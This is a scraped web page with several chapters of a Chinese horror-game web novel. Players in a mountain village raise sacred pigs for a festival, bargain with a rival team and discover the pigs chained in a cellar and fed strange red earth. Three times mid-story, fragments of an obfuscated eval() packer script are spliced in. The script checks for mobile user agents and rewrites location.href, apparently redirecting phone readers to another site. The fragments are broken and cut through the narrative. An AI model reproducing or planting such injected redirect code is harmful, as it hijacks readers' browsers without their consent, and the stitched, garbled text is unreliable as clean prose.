这么多猪,哪只才是他们要找的乌金先生呢? 带她上山的奶奶将他们四人带到村尾,巧合的是,他们要借住的正是这个奶奶家。 这里每家每户都是一进的土房,带个小院子,院子正中种了棵树。 方柚柚走在最后,一见到这树脸就皱了起来:“李子树?” 郝荨也听说过这树,虽然果子和国干都很好吃,树却不大吉利。 桃养人,杏伤人,李子树下埋死人。 这树还恰恰种在院子正中,风水学上有个说法,院中有木,形成一个“困”字。 大凶。 树枝动了动,一只鼻子上长了块白斑的小黑猪从枝头钻出,它好像低估了自己的重量,没走两步,树枝就直直往下坠。 吓得它嗷嗷叫。 奶奶熟练地伸手把它薅下:“怎么又爬树了?这么不乖,乌神大人要生气的!” 余逸看着那小猪眼热,很想也摸一下,他嘴甜道:“姐姐,我能摸一下吗?” 头发花白的奶奶没想到自己还能被年轻后生喊姐姐,她连忙摆手:“什么姐姐,我都这么大年纪了!叫我乌大娘就行。” 说着,就把那小黑猪往余逸怀里塞,嘴角翘得高高的。 完全压不住笑意。 余逸摸了两把:“我妈说,比我大的都叫姐姐,我没叫错啊?” 乌大娘“唉哟”了两声,怎么看他怎么稀罕。 余逸趁热打铁:“姐姐,您再给我们说说乌神节的事吧?” 这一口一个姐姐,哄得大娘找不着北。 乌大娘把大家带进屋,一人一碗热腾腾的大麦茶再加两个跟脸一样大的饼,还想张罗着去杀鸡给大家炖汤喝,被郝荨和余逸哄了半天才罢休。 “乌神是咱们村子的恩人哪!” 奶奶呷了口茶:“白茫茫山本来是片荒山,几百年前山下大乱,乌鬼村的祖先带着族人眼看就要饿死,幸好遇上了乌神大人,得祂庇佑,咱们祖先才活了下来,为了感念乌神大恩,他们就改姓为乌,世世代代居住在白茫茫山中守卫乌神。” 余逸:“啊?你们都再也没下过山吗?” 奶奶端起碗,蒸腾的热气模糊了她的脸。 “咱们生是乌神的人,死是乌神的鬼,离开了,就再也回不来喽。” 郝荨脖子微微一动,这感觉很难解释,就像是电影里的蜘蛛感应,她总觉得有双眼睛在身后看她。 她状似不经意般侧过头去,身后是空荡荡的院子。 什么也没有。 余逸搓了搓胳膊,乌大娘声音带着点老年人特有的嘶哑,听得他起了一身鸡皮疙瘩。 郝荨开口:“乌神节是为了乌神大人而设,那么,乌神节具体有些什么活动呢?” “乌神节呀,总共会持续七天,明天就是第一天,我们会在乌神后代里选中自己的乌神候选,将它们在这七天中养的越大越好,最后一天时,最大的那只乌金先生会成为这一年的”乌神“,好告诉先祖们和乌神大人,我们乌鬼村从未忘记他们,望他们继续庇佑咱们。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781785|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乌大娘伸手招呼:“快吃呀,不够锅里还有!” 她笑了起来,笑容异常慈祥。 “多吃点儿,饿着睡觉可不行啊。” 她拿起饼就要往余逸嘴里递,余逸被冰得打了个激灵。 饼已经凉了。 不知道什么时候起,夜晚已经到来。 山里昼夜温差大,几人穿着的单薄外套只能勉强挡风,保暖性能却很一般。 郝荨把冲锋衣裹紧,打了个哈欠:“大娘,我们这一路也有点累了,要不——?” “哦!对,看我,真是年纪大了,”乌大娘站起,把几人往隔壁屋子带,“快休息吧。” 她把几人带到卧室。 坏消息,只有一张床。 好消息,是个占据了半个房间的火炕。 四个人老老实实占据了火炕的两端,小黑猪一下跳到炕上,它好像很喜欢余逸,还想钻进余逸的被子里跟他一起睡觉,被大娘一下抄起。 余逸有点舍不得,这小黑猪身上干干净净,还有点香:“没关系的,我不介意。” “那怎么行?” 乌大娘瞪大双眼:“乌金可珍贵嘞!怎么能跟你们一起住,它有它自己的房间!” 余逸:。 是他冒昧了。 大娘离开后,几人利落将火炕铺好,霍格的声音忽然响起: “怎么了?” 郝荨回过头,却发现对方看的是自己。 “你在看什么?” 郝荨沉默两秒,又望向了窗外,抿了抿嘴道:“没什么。” 入夜。 火炕不知道什么时候熄了,山里的温度迅速下降,被窝冷得像个冰窖。 郝荨睡得很浅,总觉得有双眼睛在盯着自己。 她冻得翻了个身,抬头望去,大家都安安静静躺着,方柚柚蜷缩在被子里睡得很熟。 呼出的气都能隐约看见白色。 她干脆坐了起来,准备去上个厕所。 “嗯?” 屋外竟然没她想象得冷,倒不如说,这整座小楼,无论哪里都比他们卧室暖和。 这让郝荨想到了不好的事,她皱了皱眉。 村子里的厕所都是旱厕,黑咕隆咚的,总觉得背后有什么东西。 她快手快脚地拉起裤子,将门推开—— “靠!” 郝荨猛地关上门,发出一声巨大声响。 外头有个娃娃! 那娃娃约有二十公分高,齐刘海、公主切,皮肤惨白如雪,头发却乌黑得让人心里发毛。 她悄无声息地站在旱厕门口。 “咚咚。” 门被轻声敲响。 “你好,有人在吗?” 郝荨摸遍全身也没摸出个能当武器的东西,她四下看了看,只看到旱厕角落里摆着一个沾着不明物体的马桶搋子。 郝荨:…… 天要亡她! 娃娃又轻轻用头敲响木门。 “咚咚。” “你好,有人在吗?” 木门“嘎吱”一声开了,娃娃抬起头,刚要露出一个礼貌的微笑,就对上了黑黝黝的洞口。 光看着就仿佛要被吸进去了。 娃娃:! 米娜桑,瓦达西瓦仿佛看见故乡的樱花了呢。 82. 乌鬼村03 郝荨心里打鼓,这娃娃看起来阴得很,也不知道厉不厉害。 她这马桶搋子……能行吗? 娃娃的黑色长发无风自动,激烈地抖动起来。 郝荨:! 要放大招了?! 她双手按住马桶搋,就要往娃娃头上按去—— 斜里陡然伸出来一只脚。 “对不起——啊!” 娃娃被一脚踢飞,那颗漂亮的人偶头颅在空中自然解体,鲜红的泪流了出来。 接着,落入了一只颤抖的手中。 霍格脚步一顿:“什么东西?” 这旱厕附近实在太黑,他没看清。 “……你怎么来了?”郝荨干巴巴道。 霍格沉默两秒,然后干脆无视了这个问题,他耳朵动了动,身形一闪。 “别别别打!我不是故意吓人的!” 一个跟她穿着同款冲锋衣的年轻女孩小心翼翼从围栏后走出。 手里抱着那个漂亮的人偶娃娃。 娃娃脸上糊满血泪,手臂动了动,悄咪咪给自己把头安好。 沉默得好像刚刚那个道歉惨叫的人不是她一样。 “是你?” 郝荨有些惊讶,是三人小队里的那个女孩。 “你们、你们可以叫我阿卜。” 她看起来和余逸差不多年纪,很文静的样子,胆子不是很大。 郝荨:“为什么要拿娃娃吓我?” 听到这话,阿卜连忙挥手:“不是!我没有想吓你!我们、我们只是想跟你们谈一下合作而已。” 郝荨望天望地望向黑乎乎的茅厕:“谈合作?在这儿?” 阿卜眼神漂移一瞬:“我本来只想找一个人先聊聊……可你们一直都待在一起。” 好吧,有点道理。 郝荨带着两人找了个避风的位置:“好了,你想怎么合作?” 阿卜把人偶抱在胸口,似乎这样能给她些安全感。 “你们应该也看出来了,这是场PVP游戏。” PVP,网络游戏专用术语,简而言之,就是玩家与玩家之间的对战。 和与副本NPC斗智斗勇不同,这类游戏无法存在共赢结局。 也就是说,一定存在输家。 按乌大娘说的,他们这场游戏的目标就是要选中自己的“乌金先生”,不惜一切代价,让这位“乌金先生”赢得乌神候选。 “嗯。”郝荨抱起双臂,质疑道,“那你应该也能看出来,乌神只有一位,所以——” 这场游戏只能有一个赢家。 “我知道!但我们可以在前期先合作,把另外一组压下之后,再各凭本事看谁能赢。” 此刻,山里的月光从云朵后出来,照亮了阿卜急切的脸。 她没有说谎。 郝荨不动声色:“为什么选我们?” 阿卜的手指不自觉地绕着人偶娃娃的黑发转动,她有些犹豫是否要说真话。 片刻后,她的声音低低响起: “大家都不是新人,我就直说了,迷雾游戏里人数很关键,尤其是PVP游戏,我们团队天然就少了一个人,所以我们决定找人合作。” 阿卜看向郝荨,眼神有些不好意思:“虽然你们和另外一组都是四个人,也都是两男两女,但你们有个小孩……” 她话没说完,郝荨已经明白了她的意思。 这意味着在阿卜他们队伍看来,自己的队伍战斗力比另外一组要弱。 事实上,即便她今天不来找他们,郝荨也准备明天去跟这两组人谈一谈。 阿卜有一点说的很对,这类游戏里,人数多的一方会有天然优势。 “我们……可以合作吗?” 郝荨想了想,柔声道:“当然可以,今天太晚了,明天我们再谈吧。” 送走阿卜后,郝荨绕着乌大娘的屋子悠悠转了两圈。 月光再一次被云层遮挡,她忽的转过身。 一直沉默跟在她身后的霍格微微歪了歪头,不明所以地停下脚步。 郝荨:“不是要上厕所?” 霍格身形一僵,脚尖犹豫地往旱厕方向转了半圈,像是个卡顿的机器人。 嚯。 郝荨笑了起来,她俯身向前,凑近开口:“你觉不觉得——” 黑暗像是一个放大器,细微的风、气味、声音,甚至是呼吸……就连沉寂的情绪都仿佛被月光牵引。 霍格的喉结上下动了动,这感觉既新鲜又怪异。 可不等他再细想,就听见对方开口: “你觉不觉得——这屋子有点不对?” 霍格:…… 月光重新钻出,照亮了郝荨那张一本正经的脸,和她翘起的嘴角。 “…哪里不对?” 郝荨重新背过身去,他们现在身处的位置是土房后头,乌鬼村人不多,房子倒是挺多的,很多都破败了。 每间土房的格局都是大差不差,一个小院子再加一进土房,只有村长住了个二层小楼。 “你不觉得少了点什么吗?” 她重新迈开脚步:“小黑猪呢?乌金养在哪里?” 一般人养猪都会有个小猪圈,臭烘烘的,隔老远就能闻到里头散发出来的味道。 即便这里乌金尊贵,村里人把它们养得香喷喷——那也总得有个地方安置吧? 霍格也意识到了不对,他仔细听了听:“没有动静。” 猪这种生物饿了吃,饱了睡,即便睡着了也偶尔会发出哼唧声。 可村子里却分外安静。 郝荨正眺望着大山,突然被霍格按住脑袋塞进了土墙根。 “有人来了。” 黑暗里,有几个黑影摸黑来到了乌大娘的院子中。 “怎么样?” “吃了两块饼,喝了麦茶。” 郝荨眉头一皱,是乌大娘刚刚转醒的朦胧声音。 “那个年轻的小伙子真不错,我看他应该没吃饱,明天我再多做些。” “好啊,这就好,一定要让客人们吃饱睡好。” “你放心,我都这么大岁数了,还不懂吗?” 他们又寒暄了几句,便再次离开。 乌大娘打了个哈欠,一阵窸窣的被子声响后,也睡着了。 她望向霍格,两人的脸上都是疑惑。 这话乍一听好像很正常,可再细想却怎么都透着些许诡异。 霍格:“先睡觉吧。” 两人轻手轻脚回到房间,火炕不知何时又燃了起来,方柚柚摊着手脚睡着,郝荨把她的四肢塞回被子,也钻进了被窝。 翌日。 大清早的,村里就响起了嘹亮的唢呐声。 只一声,就从村头一下响到了村尾,郝荨一个激灵坐起。 为了以防万一,她是穿着冲锋衣睡的,现在冲锋衣皱皱巴巴的,好像块咸菜干。 身边的方柚柚睡得纹丝不动,一点也没被唢呐影响。 郝荨推了推她,才把她推醒,那头霍格可就没这么温柔了,他一下把余逸的被子掀开,清晨的山里有多冷,只有去过的人才知道。 余逸猛地坐了起来:“怎么了怎么了?!” 他四下张望了半天,眼睛还要闭不闭的,好半晌,才突然想起自己还在本里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790207|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余逸惨叫一声:“贼老天!怎么进游戏也要早六啊!” 今天是乌神节开始的日子,天气却不大好,天空雾蒙蒙的,两三米开外基本人畜不分。 家家户户都在张贴红纸窗花,是一只青面獠牙的巨大野猪,旁边还有些祭拜乌神的字句,村长家的小楼上还挂了几盏老旧的红灯笼。 余逸嘟囔着:“好像恐怖游戏……” 方柚柚瞟了他一眼:“这可比恐怖游戏可怕多了。” 余逸重重叹了口气。 来到广场时,郝荨微微张大了双眼,偌大的晒谷场上,蹲满了密密麻麻大小不一的小黑猪。 这些“乌金先生”们脖子上都系了块红布头,上面写着它们的出生年月日,以及一串数字。 “是它们的重量,”阿卜有点紧张地跟他们打招呼,“我们刚刚问过了。” 郝荨抬起头,她的两个队友正在不远处张望着,见她望去,为首的那个戴眼镜的中年男人朝她点了点头。 村长慢悠悠走过来:“客人们休息得还好嘛?” “好啊!”余逸就着早上的小米粥和炊饼大夸特夸。 他可是吃了整整三张他脑袋那么大的饼和两碗粥还有两个煮鸡蛋! 太香了! 要是乌大娘能去山海大学摆摊就好了,他一定能无痛早起! “那就好,那就好,能吃是福啊!” 村长一下笑开了花,看他的眼神既自豪又欣慰,似乎很想让他当自己孙子。 余逸可不知道对方的想法,他还沉浸在美味的早餐里,不由自主地擦了擦嘴角。 “村长爷爷,乌神节什么时候开始啊?” 村长乐呵道:“已经开始啦!” 他指着广场上的村民们:“他们已经选好自己的乌金喽!” 宽阔的晒谷场上猪山猪海,一眼望去几乎全是黑色的小乌金,大大小小高矮胖瘦不一,要在这么短的时间里挑出最重的那只,实在不太可能。 “啊!” 余逸突然大叫一声,众人回头一瞧,一只活泼的小黑猪正在拼命咬着他的裤子往下扒拉。 “兄弟!别拽了!我裤子!!!” 村长眯着眼睛看了半天,笑了:“哎呀!它喜欢你。” 余逸拽着自己宽松的运动裤,简直想要泪奔了。 谁要它喜欢啊! “好咯!老大家的!给这几位客人记一下,这是他们选的乌金。” “来嘞!” “等等!”方柚柚连忙张开双手阻止,“我们还没选呢!” 这只小黑猪性格好动,都不用称就能看出比其他乌神候选小上一圈,若是选择了它,那不是输在了起跑线?! 村长脸色沉了下来: “你这是做什么?” 听到这话,其他村民也黑着脸挤了上来。 晃眼看去,他们仿佛被四面八方的村民们包围了。 村长沉声道:“乌金选择你们是乌神的指引,你是要拒绝乌神大人?” “当然不是。” 郝荨上前一步,将方柚柚挡住:“您别生气,小孩子不懂事。能被它选择是我们的荣耀,这自然是我们的乌金先生。” 她温和笑道:“只是,我们对如何供养它们还不太了解,生怕做了什么对乌金先生不敬的事,才想要更慎重一些。” 场上的气氛一下缓和下来,村长捋了捋胡须:“没事,乌金们虽然珍贵,但你们只要诚心,它们会很快长大的。” 他张开双臂,尽可能地伸展,比划了个巨大的圆。 “你们有多少诚心,乌金就能一直长,一直长……直到新的乌神大人诞生。” 83. 乌鬼村04 乌神节说是节日,其实是一场对乌神候选的选拔。 每年的这个时节,乌鬼村的村民们就会将乌金们集中在一起,他们会从中选择自己认为能赢的乌金,在持续七天的比赛中努力喂养,将乌金们养大,最终赢得候选的乌金会成为新一任“乌神”,选择它的村民们也能获得乌神奖励。 在这七天内,包括最后一次比赛,一共会有三次比拼,前两次赢的乌金们会有额外奖赏。 村长说得不是很明白,只说奖赏是乌金们喜欢的。 宣布乌神节正式开始后,村民们就带着各自选择的乌金们一哄而散。 余逸抱着选中他们的那只小黑猪欲哭无泪。 他干巴巴道:“荨姐……是我的错,我就不该进这个本……” 他对游戏给自己取的代号很有数。 郝荨倒是没有他那么大的心理压力,迷雾游戏不会设置必死局,自然也不会有必输的局。 “你们好,”带着眼镜的斯文男人叫住他们,“昨天没来得及打招呼,我是阿卜的队友,你们可以叫我郑哥。” 郑哥推了推眼镜,脸上带着些温和的笑意。 他指了指跟在一旁的寸头小黄毛:“这是小高,我们三个是一起的。” 郝荨点点头,也跟他们交换了一下姓名。 当然,都是假的。 她看了看对方选择的乌金,胖乎乎的,一看就不爱动弹。 跟他们的乌金放一起,几乎要大上一倍。 “你们想怎么合作?” 郑哥有条不紊道:“我认为,这场游戏的关键在于赢得比拼后获得的‘奖赏’,所以——” 郝荨微微挑眉:“你想让我们帮你们赢得比拼?” “是互相帮助。” 郑哥说得很顺畅,一看就是早有准备。 郝荨:“你的意思是,你赢一场,我赢一场?” 要是真的能做到的话当然好。 这场游戏说白了就是物资的比拼,能将乌金们养大的饲料有多少她还不清楚,但应该不会很多。 在饲料量固定的情况下,这个多出来的奖赏或许就是左右战局的关键。 只是…… “谁先谁后?” “你懂不懂规矩啊?!” 那个流里流气的小高突然从旁边窜出,不爽道:“搞清楚状况!你们选了这么小一只畜生,我们帮你们还亏了呢!现在可是你们求我们!” 他啐了口唾沫,郝荨强忍住,没有后退。 “小高。” 郑哥沉下笑意,伸手按住他:“我们现在是盟友,礼貌点。” “抱歉,他性格比较急。” 郝荨摇摇头:“没事。” 郑哥沉思片刻,开口道:“我们是很有诚心的,这样吧,如果你们不相信我们的话,第一局可以由你们先赢。” 听到这话,余逸的眼睛一下瞪得像铜铃。 这可是生死局! 竟然还有这样的好人! 他恨不得代替他荨姐立刻答应对方,可郝荨反倒是稍微眯了下眼睛。 “让我们先赢?” 她慢慢重复了一遍对方说的话。 郑哥眨了下眼,正要开口,小高却打断了他:“郑哥!” 他嫌弃地打量了一下郝荨几人,嚣张道:“不能答应他们!谁知道他们会不会信守承诺,万一骗我们呢?!” 说着,他就要撸袖子上前,似乎想要以力服人。 郑哥连忙拦住他,这个叫小高的看着不怎么样,力气倒是很大,郑哥差点没拉住,眼见着两边都要动气,郑哥忙道歉道:“抱歉啊,小高脾气不大好。” “阿卜!阿卜!” 阿卜小跑着从后头冲了过来:“怎么了?!” 不是谈合作吗? 怎么打起来了? 郑哥吃力地把小高拖走:“阿卜,你继续跟玛弥他们谈,我先把小高带走!” 阿卜连声应好。 “那个……咱们谈到哪儿了?” 郝荨面不改色:“聊到让我们先赢。” 她视线专注地盯着对方的脸看,阿卜有些尴尬地抱起被留下的小黑猪。 “对,为了表示我们的诚意,第一局你们可以先赢,但你们要承诺第二局一定要让我们赢!” 阿卜心里有点忐忑,大家都是第一次见面的玩家,谁也不知道这几个人能不能遵守承诺。 要是一个弄不好…… 她摇摇头,不愿再想。 郝荨盯着她看了几秒,对方的不安和紧张都很真实,应该没有骗他们。 或许是她沉默太久,阿卜有些焦躁,她不明白,这几乎没有风险只对他们有利的计划对方为什么还要犹豫。 想了想,阿卜从口袋里掏出拳头,放在郝荨跟前。 郝荨:? 阿卜缓缓翻过手掌,摊开,里面是一团……黑红色的泥巴? “这是什么?” “饲料。” 阿卜吞了口口水:“吃了这个,乌金就会变大。” 这东西散发着一股难以言说的气味,有点恶心,又有点诱人。 余逸差点没抱住怀里的那只小黑猪,它飞快倒腾着四条短腿,想扑进阿卜怀里,可阿卜怀里那只乌金更快,头一伸,嘴巴一张,就将那泥巴一口吞下肚。 神奇的事情发生了。 那只吃了饲料的乌金以肉眼可见的速度迅速膨胀,很快,就从一只mini小黑猪变成了一只plus版小黑猪。 同样变化的,除了它的外表,还有眼神。 “嘶——”余逸倒吸一口凉气。 他手腕一松,抱着的那只小乌金总算是挣脱束缚,屁股一撅一撅地朝阿卜身上拱。 郝荨将它抱起,有些急切道:“这是哪儿来的?” 阿卜避而不谈:“总之,这就是我们的诚意。” “好,我同意了。” 这场合作于他们团队而言,实在没有拒绝的理由。 离开时,阿卜犹豫再三,还是提示道:“你们可以回去问问本地人。” 郝荨:“多谢。” * 不远处的林中,郑哥看着阿卜和对方团队相谈甚欢,满意地点点头。 “郑哥,咱们刚刚不谈得挺好吗?为啥要跑啊?” 黄毛小高这会儿脸上桀骜尽数褪去,他抓了抓自己的寸头,不明所以。 “还让阿卜做代表……她能行吗?” 也不是他看不起女人,只是阿卜这丫头才几岁啊,都还没进社会混过,象牙塔里出来的学生,能干啥? 何况她那个技能还时灵时不灵,也就是郑哥看得起她,不然谁会愿意带她! 郑哥看了眼他,恨铁不成钢道:“让你多动动脑子,平日里就知道打打杀杀!这都看不明白,你还能做什么?!” 小高又盯着他们看了一会,恍然大悟:“我知道了!” 郑哥:“说说看。” “这团队的队长是女的,阿卜也是女的,女的跟女的好说话——嘶!” 小高摸了摸被郑哥锤的后脑勺:“啊?不对啊?” “对个——” 郑哥强行咽下要骂出口的脏话,抬眼望向对方团队的队长。 那个叫玛弥的,看着不怎么显眼,年龄不大,周身气势也不强,一副普普通通的样子,就连他都差点看走眼。 哪知道就在刚刚那一瞬间,对方那句平平无奇的反问却让他一下警惕起来。 他当时寒毛直竖,就好像被什么冰冷无情的机器从上到下扫描了一遍似的,差一点点就露了馅。 想到这,郑哥放松地动了动脖子。 当然,姜还是老的辣,幸亏他反应快、经验足,让小高做戏把自己拉走,不然…… “那女的可不简单,你离她远点,有什么事让阿卜上。” “哦。” 黄毛老实答应,不过他还是有些别扭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803507|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们真的不告诉阿卜吗?这样是不是有点不讲义气?” 虽然他也看不上阿卜,可既然是队友,那也不能一直骗吧? 这不符合他的江湖道义。 郑哥笑了,摇摇头道:“你还年轻,不懂很正常,这里面的水深着呢!” “总而言之,听郑哥话——” 小高:“吃饱饭!” “嗯,不说了,阿卜过来了。” 两人停止谈论,跟他们的一派轻松相比,阿卜看起来要忧心忡忡的多。 “郑哥……”她结结巴巴道,“我、我不是质疑您的决策,只是…只是这个计划,我们冒的风险是不是太高了?” 郑哥抬眼示意小高接过她手中的乌金,安慰她:“想赢游戏就肯定有风险嘛,况且,你的占卜结果不是说他们是值得合作的对象吗?” 阿卜说不出话来。 她的天赋技能是占卜,听起来好像很有用,也是因此才入了郑哥的眼。 只是她还处于低级阶段,目前的正确率是一半一半。 简单来说,没什么用。 她心里没底,自然也没注意到在她焦虑的时候,郑哥和小高对视了一眼,各自挑了挑眉。 * 郝荨四人回到乌大娘的院子,乌大娘正好在树下剥毛豆。 “回来啦?” “大娘,”郝荨搬了个小板凳,上手帮忙,“我们选好乌金先生啦。” 大娘看了眼:“哟,怎么选了这只?这只可不好养。” “它怎么啦?” “这只啊,”大娘擦擦手,从碗里拿出几颗新鲜的毛豆递过去,“喏。” 那只小黑猪嗅了嗅,嫌弃地撇过头去。 “看,它可挑食了,还爱动,难养哦!” 郝荨皱皱眉,但她没有放弃:“大娘,我们是外乡人,也不懂怎么照顾它,也害怕不小心冒犯了乌神大人,您能不能教教我们?” 乌大娘叹了口气。 “你确定要大娘教?” 郝荨点头如捣蒜,努力睁大眼睛,让自己看起来可爱又乖巧,老年人通杀。 乌大娘看了看她,又看了看能吃三碗饭的余逸。 “行吧,跟大娘来。” 几人跟着乌大娘来到了土房背后。 嗯?这不是他们的大通铺吗? 乌大娘熟练地在地上摸了摸,摸出一根铁锁,她粗糙的手掌攥紧,用力向上一拉—— 黄土地上凭空出现一个深洞! 乌大娘不知从哪又摸索出根蜡烛,点燃后自己率先踏入了洞口。 从外头看起来,这洞深不见底,实际进去之后,郝荨才发现没有她想象得那么深。 这有点像北方人家的地窖,通过窄小的洞口后,里头是一间异常宽阔的房间。 “这是……” 房间被蜡烛照亮,露出了污迹斑斑的地面,和位于房间中心的一个巨大支架。 这个铁质支架形状很特殊,最外头是一个几乎占满整间房间的可调节球体,靠门口的位置从天花板吊下来一个圆环,球体的四周也凸出了四个不规则的环,房间四角分别延伸出一条如手腕粗的锁链。 乌大娘回过头,她慈祥的脸在蜡烛的光照下,显得有些诡异。 “别愣着啊!快把乌金放上去。” 见他们还是不动,乌大娘干脆自己上手,她把蜡烛塞进郝荨手里,顺手接过乌金就往这个装置上固定。 乌金拼命挣扎,但还是没有躲过她的无情铁手。 “这乌金呢,想养得好,有两点很重要。第一,不能让它动,这里没有光,也没有玩的,它呢就会以为自己一直在晚上,睡多了,自然就胖啦。” 蜡烛燃下的烛泪滴在郝荨手指,她好像被烫了一下,终于回过神。 从他们拐进来的方向看,这间地窖正好处于他们的房间下方。 原来,这就是乌大娘所说的,珍贵乌金的专属房间。 84. 乌鬼村05 只有两个手掌大的小黑猪被乌大娘熟练地捆在支架上。 只听几道清脆的搭扣声响起,它的头和四肢都被圆环和锁链固定住,再也动弹不得。 乌金撕扯着喉咙大声叫唤,乌大娘表情不变,她安抚地摸了摸乌金的身体: “别叫啦,大家都是这么过来的,只有这样才能当上乌神,大娘可都是为了你好啊!” 乌大娘想起什么,她伸出手:“丫头,蜡烛给我一下。” 郝荨递给她,直到乌大娘拿着蜡烛离开房间,陷入黑暗的四人才齐齐松了口气。 黑暗中,他们彼此对了个眼神。 “找到了!” 乌大娘的声音在门外响起,不多时,一个陶土罐子被“砰”一下重重砸在地上。 顷刻间陶罐碎裂,碎片飞溅。 “就剩这些了,先将就着吃吧。” 乌大娘在地上扒拉了几下,找出块还算完整的陶片,陶片上沾着些红黑色的尘土,看着已经很久了,泥土里的水份几乎全部蒸发了个干净。 刚才还在挣扎的乌金一闻到味道就立刻停下了动作,只拱着鼻子想要大娘喂给它。 不知道乌大娘做了什么动作,那高高勒住乌金脖子的圆环突然下降,直到降至它能够舔舐到陶罐的位置。 两分钟都没有,那乌金就好像饿死鬼投胎般把那些陶罐碎片舔了个干干净净,身形也一下暴涨成大半个成年猪的大小。 郝荨估摸着,现在这只“小”乌金,恐怕已经比她还要重了 乌金“哼哧哼哧”两声,似乎是对分量不大满意。 “没啦!” 乌大娘锤了锤膝盖,站起身来。 余逸目瞪口呆:“姐,这什么啊?居然比打激素还牛!” “激素?”乌大娘轻蔑地摆摆手,“我不懂你们外面那些玩意儿,这是我们这边山里的特产,是乌神大人为了庇佑我们乌鬼村才创造出来的。” “平日里大家都叫它‘白土’,白茫茫山上的土嘛。” 郝荨看了看烛光下显得格外血红的泥土,艰难开口:“‘白土’啊,真是好名字。” 余逸:“就在山上?那还等什么呀!我们现在就去挖!” “哪儿那么容易啊!” 乌大娘拽住他:“白土可难找了!熟手也不一定能找到,况且,现在也没法儿上山啊!” “为什么?” “现在可是乌神节!” 乌大娘一下将蜡烛拉近,火光照在她沟壑遍布的脸上,吓了余逸一跳。 “乌神大人不喜欢别人打扰祂,尤其是现在!” 见大家不为所动,乌大娘有些遗憾:“小伙子,大娘是真喜欢你才劝你别去,往年这会儿上山的,可从没回来过。” 余逸有点尴尬:“姐、姐姐,干我们这行的,最忌讳和…不清不楚……” 他快速把NPC三个字母含糊过去。 郝荨:…… 她有时候真想知道余逸这颗脑袋瓜里都在想什么。 乌大娘没听明白,她继续说:“你要是早点来咱们村就好了,大娘啊,以前有个小闺女,可漂亮了,就喜欢你这种能吃的!” 郝荨敏锐注意到她话里隐藏的意思,开口道:“小余现在这个年纪,配您闺女也不晚呀,我们现在外头都流行姐弟恋呢!三四十岁的姐姐配弟弟,刚刚好!” 余逸:…… 荨姐,你才是我唯一的姐! 大娘沉默了几秒,摇摇头,没有再接话。 果然。 郝荨想起今早的广场,再一次确认了自己的想法。 乌神节开幕这样的日子,只要还在村里的,肯定都集齐在晒谷场挑选乌金,可就这样,她也没有见到半个壮年人。 这个乌鬼村,绝对有大问题。 几人爬出地窖,乌大娘重新将这里封闭好,进屋里给他们拿了个背篓。 “大娘知道劝不住你们,这些拿着,”她嘴唇动了动,最终只说了句,“……路上小心。” 白茫茫山不是一座山的名字,这里的几座山脉都叫白茫茫山。 他们来到山脚,余逸跃跃欲试:“从哪儿进?” 方柚柚看了看四周:“这些山脉都长得差不多,山上路况复杂,占地又广,我们四个一起找的话效率太低了。” 霍格:“分头?” 郝荨有些犹豫,他们这四个人,最厉害的霍格系统被锁,方柚柚年纪又小,余逸脑子还不大好,可以说除了老以外,幼、病、残几乎都沾了个边。 也不知道山上有什么,他们的攻击技能和道具也都不能用,万一遇到危险,光跑路都够呛。 “没事儿,荨姐!”余逸握拳用力拍向胸口,“我知道家长都有分离焦虑,但孩子大了,该让孩子独立了!” 郝荨没好气,抬腿踹了他一脚:“滚蛋!” “得嘞!” 余逸转身就跑,郝荨担忧地看着他的背影。 霍格冷淡的声音从郝荨背后响起:“你在担心?” “嗯。” 自从他们被迫选择那只最小的乌金开始,余逸就一直很懊恼。 他虽然没明说,但行动上能看得出,他觉得是自己的霉运传给了大家,所以无论是主动和乌大娘套近乎,还是这会提出分头行动,都是他不想拖后腿的举动。 霍格微微皱眉:“你们很熟?” 郝荨把头发绑起,顺手理了理自己的袖口和裤脚,确保不会有蛇鼠虫蚁爬进。 “那倒也没有。” 霍格沉默片刻:“迷雾游戏里,担心是最无用的情绪。” 郝荨诧异回头,她没想到霍格竟然会跟她聊这么走心的话题,但她还是坦然道:“我又不是机器人,会担心队友只能说明我还是个正常人,没有被游戏同化。” 方柚柚突然开口:“余逸说得对,如果你希望大家都能活到最后,就必须要让每个人都拥有独立解决问题的能力。” “啊,你还在啊?” 郝荨吃惊,这林子里的树木非常高大,稍微一遮就把方柚柚遮住大半。 方柚柚跳脚:“你礼貌吗?!” 郝荨:“好啦,我不止担心余逸,也担心你们啊,一定要万分小心。” 霍格一怔:“……嗯。” 四人就此分开。 郝荨折了树枝探路,刚进山时还能看出有路,走着走着,她就有点分不清方向了。 黑黄色的干 